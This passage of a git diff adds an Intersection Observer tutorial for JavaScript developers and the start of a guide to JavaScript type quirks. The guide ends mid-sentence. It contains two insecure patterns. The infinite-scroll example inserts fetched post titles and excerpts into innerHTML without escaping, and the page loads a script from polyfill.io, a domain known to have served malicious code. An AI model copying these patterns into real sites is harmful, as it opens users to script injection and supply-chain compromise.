`getBoundingClientRect()` to detect element visibility: + +```javascript +// The OLD way: scroll events (DON'T do this!) +window.addEventListener('scroll', () => { + const elements = document.querySelectorAll('.lazy-image'); + elements.forEach(el => { + const rect = el.getBoundingClientRect(); + if (rect.top < window.innerHeight && rect.bottom > 0) { + // Element is visible - load it + el.src = el.dataset.src; + } + }); +}); +``` + +**Problems with this approach:** + +| Issue | Why It's Bad | +|-------|--------------| +| **Main thread blocking** | Scroll fires 60+ times per second, blocking other JavaScript | +| **Layout thrashing** | `getBoundingClientRect()` forces browser to recalculate layout | +| **Battery drain** | Constant calculations drain mobile device batteries | +| **No throttling built-in** | You must manually debounce/throttle | +| **iframe limitations** | Can't detect visibility in cross-origin iframes | + +``` +┌─────────────────────────────────────────────────────────────────────────────┐ +│ SCROLL EVENTS vs INTERSECTION OBSERVER │ +├─────────────────────────────────────────────────────────────────────────────┤ +│ │ +│ SCROLL EVENTS (Old Way) INTERSECTION OBSERVER (Modern Way) │ +│ ───────────────────────── ───────────────────────────────── │ +│ │ +│ User scrolls User scrolls │ +│ │ │ │ +│ ▼ ▼ │ +│ scroll event fires Browser calculates │ +│ (60+ times/sec) intersections internally │ +│ │ │ │ +│ ▼ ▼ │ +│ YOUR CODE runs Callback fires ONLY when │ +│ on EVERY scroll visibility ACTUALLY changes │ +│ │ │ │ +│ ▼ ▼ │ +│ getBoundingClientRect() Entry object with all │ +│ forces layout data pre-calculated │ +│ │ │ │ +│ ▼ ▼ │ +│ 🐌 SLOW, janky scrolling 🚀 SMOOTH, 60fps scrolling │ +│ │ +└─────────────────────────────────────────────────────────────────────────────┘ +``` + +**Intersection Observer runs off the main thread** and is optimized by the browser, making it dramatically more efficient. + +--- + +## How to Create an Intersection Observer + +Creating an observer involves two steps: instantiate the observer with a callback, then tell it what elements to observe. + +### Basic Syntax + +```javascript +// Step 1: Create the observer with a callback +const observer = new IntersectionObserver((entries, observer) => { + entries.forEach(entry => { + console.log(entry.target, 'isIntersecting:', entry.isIntersecting); + }); +}); + +// Step 2: Tell it what to observe +const element = document.querySelector('.my-element'); +observer.observe(element); +``` + +The **[`IntersectionObserver`](https://developer.mozilla.org/en-US/docs/Web/API/IntersectionObserver/IntersectionObserver)** constructor takes two arguments: + +1. **Callback function** — Called whenever observed elements cross visibility thresholds +2. **Options object** (optional) — Configures when and how intersections are detected + +### The Callback Function + +The callback receives two parameters: + +```javascript +const callback = (entries, observer) => { + // entries: Array of IntersectionObserverEntry objects + // observer: The IntersectionObserver instance (useful for unobserving) + + entries.forEach(entry => { + // entry.target — The observed element + // entry.isIntersecting — Is it currently visible? + // entry.intersectionRatio — How much is visible (0 to 1) + // entry.boundingClientRect — Element's size and position + // entry.intersectionRect — The visible portion's rectangle + // entry.rootBounds — The root element's rectangle + // entry.time — Timestamp when intersection was recorded + }); +}; +``` + +<Note> +**Important:** The callback fires once immediately when you call `observe()` on an element, reporting its current intersection state. This is intentional, so you know the initial visibility. +</Note> + +### IntersectionObserverEntry Properties + +Each entry in the callback provides detailed intersection data: + +| Property | Type | Description | +|----------|------|-------------| +| `target` | Element | The element being observed | +| `isIntersecting` | boolean | `true` if element is currently intersecting root | +| `intersectionRatio` | number | Percentage visible (0.0 to 1.0) | +| `boundingClientRect` | DOMRect | Target element's bounding rectangle | +| `intersectionRect` | DOMRect | The visible portion's rectangle | +| `rootBounds` | DOMRect | Root element's bounding rectangle (or viewport) | +| `time` | number | Timestamp when intersection change was recorded | + +```javascript +const observer = new IntersectionObserver((entries) => { + entries.forEach(entry => { + console.log('Element:', entry.target.id); + console.log('Is visible:', entry.isIntersecting); + console.log('Visibility %:', Math.round(entry.intersectionRatio * 100) + '%'); + console.log('Position:', entry.boundingClientRect.top, 'px from top'); + }); +}); +``` + +--- + +## Intersection Observer Options + +The options object customizes when the callback fires: + +```javascript +const options = { + root: null, // The viewport (or a specific container element) + rootMargin: '0px', // Margin around the root + threshold: 0 // When to trigger (0 = any pixel, 1 = fully visible) +}; + +const observer = new IntersectionObserver(callback, options); +``` + +### The `root` Option + +The **root** defines the container used for checking visibility. It defaults to `null` (the browser viewport). + +```javascript +// Observe visibility relative to the viewport (default) +const observer1 = new IntersectionObserver(callback, { root: null }); + +// Observe visibility relative to a scrollable container +const scrollContainer = document.querySelector('.scroll-container'); +const observer2 = new IntersectionObserver(callback, { root: scrollContainer }); +``` + +<Warning> +When using a custom root, the observed elements **must be descendants** of that root element. Otherwise, the observer won't detect intersections. +</Warning> + +### The `rootMargin` Option + +The **rootMargin** grows or shrinks the root's detection area. It works like CSS margins: + +```javascript +// Start detecting 100px BEFORE element enters viewport (for preloading) +const observer = new IntersectionObserver(callback, { + rootMargin: '100px 0px' // top/bottom: 100px, left/right: 0px +}); + +// Shrink the detection area (element must be 50px inside viewport) +const observer2 = new IntersectionObserver(callback, { + rootMargin: '-50px' // All sides shrink by 50px +}); +``` + +``` +┌─────────────────────────────────────────────────────────────────────────────┐ +│ rootMargin EXPLAINED │ +├─────────────────────────────────────────────────────────────────────────────┤ +│ │ +│ rootMargin: '100px 0px 100px 0px' │ +│ │ +│ ┌──────────────────────┐ │ +│ │ +100px margin (top) │ ← Elements detected HERE │ +│ ├──────────────────────┤ │ +│ │ │ │ +│ │ VIEWPORT │ ← Actual visible area │ +│ │ │ │ +│ ├──────────────────────┤ │ +│ │ +100px margin (bottom)│ ← Elements detected HERE │ +│ └──────────────────────┘ │ +│ │ +│ Use positive margins for PRELOADING (lazy load before visible) │ +│ Use negative margins for DELAYING (wait until fully in view) │ +│ │ +└─────────────────────────────────────────────────────────────────────────────┘ +``` + +**Common rootMargin patterns:** + +| Value | Use Case | +|-------|----------| +| `'100px'` | Preload images 100px before they enter viewport | +| `'-50px'` | Wait until element is 50px inside viewport | +| `'0px 0px -50%'` | Trigger when top half of element is visible | +| `'200px 0px 200px 0px'` | Large buffer for slow networks | + +### The `threshold` Option + +The **threshold** determines at what visibility percentage the callback fires. It can be a single number or an array: + +```javascript +// Fire when ANY pixel becomes visible (default) +const observer1 = new IntersectionObserver(callback, { threshold: 0 }); + +// Fire when element is 50% visible +const observer2 = new IntersectionObserver(callback, { threshold: 0.5 }); + +// Fire when element is FULLY visible +const observer3 = new IntersectionObserver(callback, { threshold: 1.0 }); + +// Fire at multiple points (0%, 25%, 50%, 75%, 100%) +const observer4 = new IntersectionObserver(callback, { + threshold: [0, 0.25, 0.5, 0.75, 1.0] +}); +``` + +```javascript +// Practical example: Track how much of an ad is viewed +const adObserver = new IntersectionObserver((entries) => { + entries.forEach(entry => { + const percentVisible = Math.round(entry.intersectionRatio * 100); + console.log(`Ad is ${percentVisible}% visible`); + + if (entry.intersectionRatio >= 0.5) { + trackAdImpression(entry.target); // Count as "viewed" when 50%+ visible + } + }); +}, { threshold: [0, 0.25, 0.5, 0.75, 1.0] }); +``` + +--- + +## Observer Methods + +The **[`IntersectionObserver`](https://developer.mozilla.org/en-US/docs/Web/API/IntersectionObserver)** instance has four methods: + +### observe(element) + +Start observing an element: + +```javascript +const element = document.querySelector('.target'); +observer.observe(element); + +// Observe multiple elements +document.querySelectorAll('.lazy-image').forEach(img => { + observer.observe(img); +}); +``` + +### unobserve(element) + +Stop observing a specific element (useful after lazy loading): + +```javascript +const observer = new IntersectionObserver((entries) => { + entries.forEach(entry => { + if (entry.isIntersecting) { + loadImage(entry.target); + observer.unobserve(entry.target); // Stop watching after loading + } + }); +}); +``` + +### disconnect() + +Stop observing ALL elements: + +```javascript +// Stop everything +observer.disconnect(); + +// Common pattern: cleanup when component unmounts +class LazyLoader { + constructor() { + this.observer = new IntersectionObserver(this.handleIntersect); + } + + destroy() { + this.observer.disconnect(); + } +} +``` + +### takeRecords() + +Get any pending intersection records without waiting for the callback: + +```javascript +// Rarely needed, but useful for synchronous access +const pendingEntries = observer.takeRecords(); +pendingEntries.forEach(entry => { + // Process immediately +}); +``` + +--- + +## Implementing Lazy Loading Images + +Lazy loading is the most common use case for Intersection Observer. Here's a complete implementation: + +### HTML Setup + +```html +<!-- Use data-src instead of src for lazy images --> +<img class="lazy" data-src="hero-image.jpg" alt="Hero image"> +<img class="lazy" data-src="product-1.jpg" alt="Product 1"> +<img class="lazy" data-src="product-2.jpg" alt="Product 2"> + +<!-- Optional: Add a placeholder or low-quality preview --> +<img class="lazy" + src="placeholder.svg" + data-src="high-res-image.jpg" + alt="High resolution image"> +``` + +### JavaScript Implementation + +```javascript +// Create the lazy loading observer +const lazyImageObserver = new IntersectionObserver((entries, observer) => { + entries.forEach(entry => { + if (entry.isIntersecting) { + const img = entry.target; + + // Swap data-src to src + img.src = img.dataset.src; + + // Optional: Handle srcset for responsive images + if (img.dataset.srcset) { + img.srcset = img.dataset.srcset; + } + + // Remove lazy class (for CSS transitions) + img.classList.remove('lazy'); + img.classList.add('loaded'); + + // Stop observing this image + observer.unobserve(img); + } + }); +}, { + // Start loading 100px before image enters viewport + rootMargin: '100px 0px', + threshold: 0 +}); + +// Observe all lazy images +document.querySelectorAll('img.lazy').forEach(img => { + lazyImageObserver.observe(img); +}); +``` + +### CSS for Smooth Loading + +```css +.lazy { + opacity: 0; + transition: opacity 0.3s ease-in; +} + +.lazy.loaded { + opacity: 1; +} + +/* Optional: Blur-up effect */ +.lazy { + filter: blur(10px); + transition: filter 0.3s ease-in, opacity 0.3s ease-in; +} + +.lazy.loaded { + filter: blur(0); + opacity: 1; +} +``` + +<Tip> +**Native lazy loading:** Modern browsers support `<img loading="lazy">` which handles basic lazy loading automatically. Use Intersection Observer when you need more control (custom thresholds, animations, or loading indicators). +</Tip> + +--- + +## Building Infinite Scroll + +Infinite scroll loads more content as the user approaches the bottom of the page: + +```javascript +// The sentinel element sits at the bottom of your content +// <div id="sentinel"></div> + +const sentinel = document.querySelector('#sentinel'); +const contentContainer = document.querySelector('#content'); + +let page = 1; +let isLoading = false; + +const infiniteScrollObserver = new IntersectionObserver(async (entries) => { + const entry = entries[0]; + + if (entry.isIntersecting && !isLoading) { + isLoading = true; + + try { + // Fetch more content + const response = await fetch(`/api/posts?page=${++page}`); + const posts = await response.json(); + + if (posts.length === 0) { + // No more content - stop observing + infiniteScrollObserver.unobserve(sentinel); + sentinel.textContent = 'No more posts'; + return; + } + + // Append new content + posts.forEach(post => { + const article = createPostElement(post); + contentContainer.appendChild(article); + }); + } catch (error) { + console.error('Failed to load more posts:', error); + } finally { + isLoading = false; + } + } +}, { + // Load more when sentinel is 200px from viewport + rootMargin: '200px' +}); + +infiniteScrollObserver.observe(sentinel); + +function createPostElement(post) { + const article = document.createElement('article'); + article.innerHTML = ` + <h2>${post.title}</h2> + <p>${post.excerpt}</p> + `; + return article; +} +``` + +### Infinite Scroll HTML Structure + +```html +<div id="content"> + <!-- Initial posts loaded here --> + <article>...</article> + <article>...</article> +</div> + +<!-- Sentinel must be AFTER all content --> +<div id="sentinel">Loading more...</div> +``` + +--- + +## Scroll-Triggered Animations + +Trigger animations when elements scroll into view: + +```javascript +const animatedElements = document.querySelectorAll('.animate-on-scroll'); + +const animationObserver = new IntersectionObserver((entries) => { + entries.forEach(entry => { + if (entry.isIntersecting) { + // Add animation class + entry.target.classList.add('animated'); + + // Optional: Only animate once + animationObserver.unobserve(entry.target); + } + }); +}, { + threshold: 0.2, // Trigger when 20% visible + rootMargin: '0px 0px -50px 0px' // Trigger slightly before fully in view +}); + +animatedElements.forEach(el => animationObserver.observe(el)); +``` + +### CSS Animations + +```css +.animate-on-scroll { + opacity: 0; + transform: translateY(30px); + transition: opacity 0.6s ease-out, transform 0.6s ease-out; +} + +.animate-on-scroll.animated { + opacity: 1; + transform: translateY(0); +} + +/* Staggered animations */ +.animate-on-scroll:nth-child(1) { transition-delay: 0.1s; } +.animate-on-scroll:nth-child(2) { transition-delay: 0.2s; } +.animate-on-scroll:nth-child(3) { transition-delay: 0.3s; } +``` + +### Reusable Animation Observer + +```javascript +function createScrollAnimator(options = {}) { + const { + threshold = 0.2, + rootMargin = '0px', + animateOnce = true, + animatedClass = 'animated' + } = options; + + return new IntersectionObserver((entries, observer) => { + entries.forEach(entry => { + if (entry.isIntersecting) { + entry.target.classList.add(animatedClass); + + if (animateOnce) { + observer.unobserve(entry.target); + } + } else if (!animateOnce) { + entry.target.classList.remove(animatedClass); + } + }); + }, { threshold, rootMargin }); +} + +// Usage +const animator = createScrollAnimator({ threshold: 0.3, animateOnce: false }); +document.querySelectorAll('[data-animate]').forEach(el => animator.observe(el)); +``` + +--- + +## Sticky Header Detection + +Detect when a header becomes sticky: + +```javascript +// CSS: header { position: sticky; top: 0; } +const header = document.querySelector('header'); + +// Create a sentinel element just before the header +const sentinel = document.createElement('div'); +sentinel.style.height = '1px'; +header.before(sentinel); + +const stickyObserver = new IntersectionObserver(([entry]) => { + // When sentinel is NOT intersecting, header is stuck + header.classList.toggle('is-stuck', !entry.isIntersecting); +}, { + threshold: 0, + rootMargin: '-1px 0px 0px 0px' // Trigger right at the top +}); + +stickyObserver.observe(sentinel); +``` + +```css +header { + position: sticky; + top: 0; + background: white; + transition: box-shadow 0.3s ease; +} + +header.is-stuck { + box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); +} +``` + +--- + +## Section-Based Navigation + +Highlight navigation links based on which section is visible: + +```javascript +const sections = document.querySelectorAll('section[id]'); +const navLinks = document.querySelectorAll('nav a'); + +const sectionObserver = new IntersectionObserver((entries) => { + entries.forEach(entry => { + if (entry.isIntersecting) { + // Remove active from all links + navLinks.forEach(link => link.classList.remove('active')); + + // Add active to corresponding link + const activeLink = document.querySelector(`nav a[href="#${entry.target.id}"]`); + if (activeLink) { + activeLink.classList.add('active'); + } + } + }); +}, { + threshold: 0.5, // Section is "active" when 50% visible + rootMargin: '-20% 0px -20% 0px' // Focus on center of viewport +}); + +sections.forEach(section => sectionObserver.observe(section)); +``` + +--- + +## The #1 Intersection Observer Mistake: Not Cleaning Up + +The most common mistake is forgetting to disconnect observers, leading to memory leaks: + +```javascript +// ❌ BAD: Observer keeps running forever +function setupLazyLoading() { + const observer = new IntersectionObserver((entries) => { + entries.forEach(entry => { + if (entry.isIntersecting) { + entry.target.src = entry.target.dataset.src; + // Forgot to unobserve! + } + }); + }); + + document.querySelectorAll('.lazy').forEach(img => observer.observe(img)); +} + +// ✅ GOOD: Unobserve after loading +function setupLazyLoading() { + const observer = new IntersectionObserver((entries, obs) => { + entries.forEach(entry => { + if (entry.isIntersecting) { + entry.target.src = entry.target.dataset.src; + obs.unobserve(entry.target); // Stop watching after load + } + }); + }); + + document.querySelectorAll('.lazy').forEach(img => observer.observe(img)); + + // Return cleanup function for frameworks + return () => observer.disconnect(); +} +``` + +### Framework Cleanup Patterns + +```javascript +// React +useEffect(() => { + const observer = new IntersectionObserver(callback); + observer.observe(elementRef.current); + + return () => observer.disconnect(); // Cleanup on unmount +}, []); + +// Vue 3 Composition API +onMounted(() => { + observer = new IntersectionObserver(callback); + observer.observe(element.value); +}); + +onUnmounted(() => { + observer?.disconnect(); +}); +``` + +--- + +## Common Mistakes + +<AccordionGroup> + <Accordion title="Mistake 1: Using scroll events for visibility detection"> + ```javascript + // ❌ WRONG: Scroll events are expensive + window.addEventListener('scroll', () => { + const rect = element.getBoundingClientRect(); + if (rect.top < window.innerHeight) { + loadContent(); + } + }); + + // ✅ RIGHT: Use Intersection Observer + const observer = new IntersectionObserver((entries) => { + if (entries[0].isIntersecting) { + loadContent(); + observer.unobserve(entries[0].target); + } + }); + observer.observe(element); + ``` + + Scroll events fire constantly and block the main thread. Intersection Observer is optimized by the browser. + </Accordion> + + <Accordion title="Mistake 2: Creating multiple observers for the same options"> + ```javascript + // ❌ WRONG: Creating a new observer for each element + images.forEach(img => { + const observer = new IntersectionObserver(callback); + observer.observe(img); + }); + + // ✅ RIGHT: One observer can watch many elements + const observer = new IntersectionObserver(callback); + images.forEach(img => observer.observe(img)); + ``` + + A single observer can efficiently track many elements with the same options. + </Accordion> + + <Accordion title="Mistake 3: Forgetting the callback fires immediately"> + ```javascript + // ❌ WRONG: Assuming callback only fires on scroll + const observer = new IntersectionObserver((entries) => { + entries.forEach(entry => { + // This fires IMMEDIATELY for current state! + loadImage(entry.target); + }); + }); + + // ✅ RIGHT: Check isIntersecting before acting + const observer = new IntersectionObserver((entries) => { + entries.forEach(entry => { + if (entry.isIntersecting) { + loadImage(entry.target); + } + }); + }); + ``` + + The callback fires once immediately when you call `observe()` to report current state. + </Accordion> + + <Accordion title="Mistake 4: Using threshold: 1 without accounting for partial visibility"> + ```javascript + // ❌ WRONG: threshold: 1 may never trigger for tall elements + const observer = new IntersectionObserver(callback, { + threshold: 1.0 // Requires 100% visibility + }); + + // If element is taller than viewport, it can NEVER be 100% visible! + + // ✅ RIGHT: Use appropriate threshold or check intersectionRatio + const observer = new IntersectionObserver((entries) => { + entries.forEach(entry => { + // Use intersectionRatio for flexible visibility checking + if (entry.intersectionRatio >= 0.8 || entry.isIntersecting) { + handleVisibility(entry.target); + } + }); + }, { threshold: [0, 0.25, 0.5, 0.75, 1.0] }); + ``` + </Accordion> + + <Accordion title="Mistake 5: Not handling the root element requirement"> + ```javascript + // ❌ WRONG: Observed element must be a descendant of root + const container = document.querySelector('.sidebar'); + const observer = new IntersectionObserver(callback, { root: container }); + + // This element is NOT inside .sidebar - won't work! + observer.observe(document.querySelector('.main-content .item')); + + // ✅ RIGHT: Observe elements inside the root + observer.observe(container.querySelector('.sidebar-item')); + ``` + </Accordion> +</AccordionGroup> + +--- + +## Browser Support and Polyfill + +Intersection Observer has excellent browser support (available since March 2019 in all major browsers): + +```javascript +// Feature detection +if ('IntersectionObserver' in window) { + // Use Intersection Observer + const observer = new IntersectionObserver(callback); +} else { + // Fallback for very old browsers + // Load polyfill or use scroll events +} +``` + +For legacy browser support, use the [official polyfill](https://github.com/w3c/IntersectionObserver/tree/main/polyfill): + +```html +<script src="https://polyfill.io/v3/polyfill.min.js?features=IntersectionObserver"></script> +``` + +--- + +## Key Takeaways + +<Info> +**The key things to remember:** + +1. **Intersection Observer replaces scroll events** — It's more performant and runs off the main thread + +2. **The callback fires immediately** — When you call `observe()`, it reports current visibility state + +3. **Use `isIntersecting` to check visibility** — Don't assume the callback means "now visible" + +4. **One observer, many elements** — A single observer can efficiently watch multiple targets + +5. **Clean up with `unobserve()` or `disconnect()`** — Prevent memory leaks, especially after lazy loading + +6. **`rootMargin` enables preloading** — Use positive margins to detect elements before they're visible + +7. **`threshold` controls precision** — Use arrays for fine-grained visibility tracking + +8. **Always handle the null root** — Defaults to viewport, but custom roots must contain observed elements + +9. **Combine with CSS for smooth animations** — Observer triggers classes, CSS handles transitions + +10. **Consider native `loading="lazy"`** — For simple image lazy loading, the native attribute may suffice +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: Why is Intersection Observer better than scroll events for visibility detection?"> + **Answer:** Intersection Observer is better because: + + 1. **Runs off the main thread** — Doesn't block JavaScript execution + 2. **Browser-optimized** — Efficiently batches calculations + 3. **No layout thrashing** — Doesn't force `getBoundingClientRect()` recalculations + 4. **Built-in throttling** — Fires only when visibility actually changes + 5. **Works with iframes** — Can detect visibility in cross-origin contexts + + Scroll events fire 60+ times per second and require manual throttling, while Intersection Observer only fires when relevant visibility changes occur. + </Accordion> + + <Accordion title="Question 2: What does rootMargin: '-50px' do?"> + **Answer:** `rootMargin: '-50px'` shrinks the detection area by 50px on all sides. + + This means an element must be at least 50px inside the viewport before it's considered "intersecting." It's useful for: + + - Triggering animations when elements are fully in view + - Ensuring content is clearly visible before acting + - Avoiding edge-case flickering near viewport boundaries + + ```javascript + // Element must be 50px inside viewport to trigger + const observer = new IntersectionObserver(callback, { + rootMargin: '-50px' + }); + ``` + </Accordion> + + <Accordion title="Question 3: When would you use threshold: [0, 0.25, 0.5, 0.75, 1]?"> + **Answer:** Use multiple thresholds when you need to track progressive visibility, such as: + + - **Ad viewability tracking** — Count impressions at different visibility levels + - **Video playback** — Pause at 25% visible, play at 75% visible + - **Progress indicators** — Show how much of an article has been read + - **Parallax effects** — Adjust animations based on scroll position + + ```javascript + const observer = new IntersectionObserver((entries) => { + entries.forEach(entry => { + const percent = Math.round(entry.intersectionRatio * 100); + updateProgressBar(percent); + }); + }, { threshold: [0, 0.25, 0.5, 0.75, 1] }); + ``` + </Accordion> + + <Accordion title="Question 4: Why should you call unobserve() after lazy loading an image?"> + **Answer:** You should call `unobserve()` because: + + 1. **Memory efficiency** — The observer no longer needs to track this element + 2. **Performance** — Fewer elements to check means faster intersection calculations + 3. **Prevents double-loading** — Without unobserving, the image could be "loaded" multiple times + 4. **Clean architecture** — Once lazy loading is complete, the observer's job is done + + ```javascript + const observer = new IntersectionObserver((entries, obs) => { + entries.forEach(entry => { + if (entry.isIntersecting) { + entry.target.src = entry.target.dataset.src; + obs.unobserve(entry.target); // Clean up! + } + }); + }); + ``` + </Accordion> + + <Accordion title="Question 5: What happens if you use a custom root that doesn't contain the observed element?"> + **Answer:** The observer **won't detect any intersections**. The observed element must be a descendant of the root element. + + ```javascript + const sidebar = document.querySelector('.sidebar'); + const observer = new IntersectionObserver(callback, { root: sidebar }); + + // ❌ This won't work - element is outside sidebar + observer.observe(document.querySelector('.main .card')); + + // ✅ This works - element is inside sidebar + observer.observe(sidebar.querySelector('.sidebar-item')); + ``` + + Always ensure observed elements are descendants of the root, or use `root: null` for viewport detection. + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Mutation Observer" icon="eye" href="/beyond/concepts/mutation-observer"> + Watch for DOM changes like added/removed elements and attribute modifications. + </Card> + <Card title="Resize Observer" icon="expand" href="/beyond/concepts/resize-observer"> + Detect when elements change size without polling or resize events. + </Card> + <Card title="Performance Observer" icon="gauge" href="/beyond/concepts/performance-observer"> + Monitor performance metrics like Long Tasks, layout shifts, and resource timing. + </Card> + <Card title="Event Loop" icon="arrows-rotate" href="/concepts/event-loop"> + Understand how JavaScript handles async operations and when callbacks fire. + </Card> +</CardGroup> + +--- + +## Resources + +### Reference + +<CardGroup cols={2}> + <Card title="Intersection Observer API — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API"> + Complete API documentation covering all options, methods, and the IntersectionObserverEntry interface. The authoritative reference for browser behavior and edge cases. + </Card> + <Card title="IntersectionObserver Interface — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/IntersectionObserver"> + Detailed reference for the IntersectionObserver constructor, properties (root, rootMargin, thresholds), and methods (observe, unobserve, disconnect, takeRecords). + </Card> +</CardGroup> + +### Articles + +<CardGroup cols={2}> + <Card title="A Few Functional Uses for Intersection Observer — CSS-Tricks" icon="newspaper" href="https://css-tricks.com/a-few-functional-uses-for-intersection-observer-to-know-when-an-element-is-in-view/"> + Practical walkthrough of real-world Intersection Observer use cases including lazy loading, content visibility tracking, and auto-pausing videos. Great code examples with detailed explanations. + </Card> + <Card title="Intersection Observer v2: Trust is good, observation is better — web.dev" icon="newspaper" href="https://web.dev/articles/intersectionobserver-v2"> + Covers the advanced Intersection Observer v2 API for tracking actual visibility (not just intersection). Essential reading for ad viewability and fraud prevention use cases. + </Card> + <Card title="Scroll Animations with Intersection Observer — freeCodeCamp" icon="newspaper" href="https://www.freecodecamp.org/news/scroll-animations-with-javascript-intersection-observer-api/"> + Step-by-step guide to implementing scroll-triggered animations. Covers reveal-on-scroll effects, CSS transitions, and best practices for performant animations. + </Card> + <Card title="The Complete Guide to Lazy Loading Images — CSS-Tricks" icon="newspaper" href="https://css-tricks.com/the-complete-guide-to-lazy-loading-images/"> + Comprehensive guide covering all lazy loading approaches including Intersection Observer, native loading="lazy", and fallback strategies. Includes performance considerations. + </Card> +</CardGroup> + +### Videos + +<CardGroup cols={2}> + <Card title="Learn Intersection Observer In 15 Minutes — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=2IbRtjez6ag"> + Clear, beginner-friendly introduction covering observer basics, all configuration options, and a practical infinite scroll implementation. Perfect starting point. + </Card> + <Card title="Introduction to Intersection Observer — Kevin Powell" icon="video" href="https://www.youtube.com/watch?v=T8EYosX4NOo"> + Explains why Intersection Observer is better than scroll events, with visual demonstrations of how intersection detection works. Great for understanding the fundamentals. + </Card> + <Card title="Lazy Load Images with Intersection Observer — Fireship" icon="video" href="https://www.youtube.com/watch?v=aUjBvuUdkhg"> + Quick, practical tutorial showing how to implement lazy-loaded images. Covers data attributes, viewport detection, and unobserving after load. + </Card> + <Card title="How to Lazy Load Images — Kevin Powell" icon="video" href="https://www.youtube.com/watch?v=mC93zsEsSrg"> + Detailed lazy loading implementation with rootMargin for pre-loading and practical tips for production use. Great follow-up after learning the basics. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/javascript-type-nuances.mdx b/docs/beyond/concepts/javascript-type-nuances.mdx new file mode 100644 index 00000000..e9777fde --- /dev/null +++ b/docs/beyond/concepts/javascript-type-nuances.mdx @@ -0,0 +1,1227 @@ +--- +title: "Type Nuances: null, undefined, typeof, and More in JavaScript" +sidebarTitle: "Type Nuances" +description: "Learn JavaScript type nuances: null vs undefined, typeof quirks, nullish coalescing (??), optional chaining (?.), Symbols, and BigInt for large integers." +--- + +Why does `typeof null` return `'object'`? Why does `0 || 'default'` give you `'default'` when `0` is a perfectly valid value? And why do Symbols exist when we already have strings for object keys? + +```javascript +// JavaScript's type system has quirks you need to know +let user // undefined — not initialized +let data = null // null — intentionally empty + +typeof null // 'object' — a famous bug! +typeof undefined // 'undefined' + +0 || 'fallback' // 'fallback' — but 0 is valid! +0 ?? 'fallback' // 0 — nullish coalescing saves the day + +const id = Symbol('id') // Unique, collision-proof key +const huge = 9007199254740993n // BigInt for precision +``` + +JavaScript's type system is full of these nuances. Understanding them separates developers who write predictable code from those who constantly debug mysterious behavior. + +<Info> +**What you'll learn in this guide:** +- The difference between `null` and `undefined` (and when to use each) +- Short-circuit evaluation with `&&`, `||`, `??`, and `?.` +- The `typeof` operator's quirks and edge cases +- How `instanceof` works and how to customize it with `Symbol.hasInstance` +- Symbols for creating unique identifiers and well-known symbols +- BigInt for working with numbers beyond JavaScript's safe integer limit +</Info> + +<Warning> +**Prerequisites:** This guide assumes you understand [Primitive Types](/concepts/primitive-types) and [Type Coercion](/concepts/type-coercion). If you're not comfortable with JavaScript's basic types and how they convert, read those guides first. +</Warning> + +--- + +## What are JavaScript Type Nuances? + +**JavaScript type nuances** are the subtle behaviors, quirks, and advanced features of JavaScript's type system that go beyond basic types. They include the semantic differences between `null` and `undefined`, the historical quirks of the [`typeof`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof) operator, modern operators like [nullish coalescing](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing) (`??`), and primitive types like [`Symbol`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol) and [`BigInt`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt) that solve specific problems. + +--- + +## JavaScript is Dynamically Typed + +Before diving into type nuances, it's important to understand that **JavaScript is a dynamically typed language**. Unlike statically typed languages like TypeScript, Rust, Java, or C++, JavaScript doesn't require you to declare variable types, and types are checked at runtime rather than compile time. + +```javascript +// In JavaScript, variables can hold any type and change types freely +let value = 42 // value is a number +value = 'hello' // now it's a string +value = { name: 'Alice' } // now it's an object +value = null // now it's null + +// No compiler errors — JavaScript figures out types at runtime +``` + +This flexibility is both powerful and dangerous: + +```javascript +// TypeScript / Rust / Java would catch this at compile time: +function add(a, b) { + return a + b +} + +add(5, 3) // 8 — works as expected +add('5', 3) // '53' — string concatenation, not addition! +add(null, 3) // 3 — null becomes 0 +add(undefined, 3) // NaN — undefined becomes NaN +``` + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ STATIC vs DYNAMIC TYPING COMPARISON │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ STATICALLY TYPED DYNAMICALLY TYPED │ +│ (TypeScript, Rust, Java) (JavaScript, Python, Ruby) │ +│ ───────────────────────── ────────────────────────── │ +│ │ +│ • Types declared explicitly • Types inferred at runtime │ +│ • Type errors caught at compile • Type errors occur at runtime │ +│ • Variables have fixed types • Variables can change types │ +│ • More verbose, safer • More flexible, riskier │ +│ │ +│ let name: string = "Alice" let name = "Alice" │ +│ name = 42 // ❌ Compile error name = 42 // ✓ No error │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +Because JavaScript won't stop you from mixing types, **you need to understand how types behave** — which is exactly what this guide covers. The `typeof` operator, type coercion, and operators like `??` and `?.` exist specifically to help you handle JavaScript's dynamic nature safely. + +<Note> +**TypeScript adds static typing to JavaScript.** If you want compile-time type safety, TypeScript is an excellent choice. But even TypeScript compiles to JavaScript, so understanding JavaScript's runtime type behavior is essential for all JavaScript developers. +</Note> + +--- + +## The Empty Box Analogy + +Think of variables like boxes: + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ UNDEFINED vs NULL: THE BOX ANALOGY │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ UNDEFINED NULL │ +│ ───────── ──── │ +│ │ +│ ┌─────────────┐ ┌─────────────┐ │ +│ │ │ │ │ │ +│ │ ??? │ │ [empty] │ │ +│ │ │ │ │ │ +│ └─────────────┘ └─────────────┘ │ +│ │ +│ "What box? I never "Here's an empty box. │ +│ put anything here!" I'm telling you there's │ +│ nothing inside on purpose." │ +│ │ +│ • Variable declared but not assigned • Variable intentionally set │ +│ • Missing object property • Represents "no value" │ +│ • Function returns nothing • End of prototype chain │ +│ • Missing function parameter • Cleared reference │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +**undefined** means the box was never filled. **null** means someone deliberately put an empty placeholder in the box. This 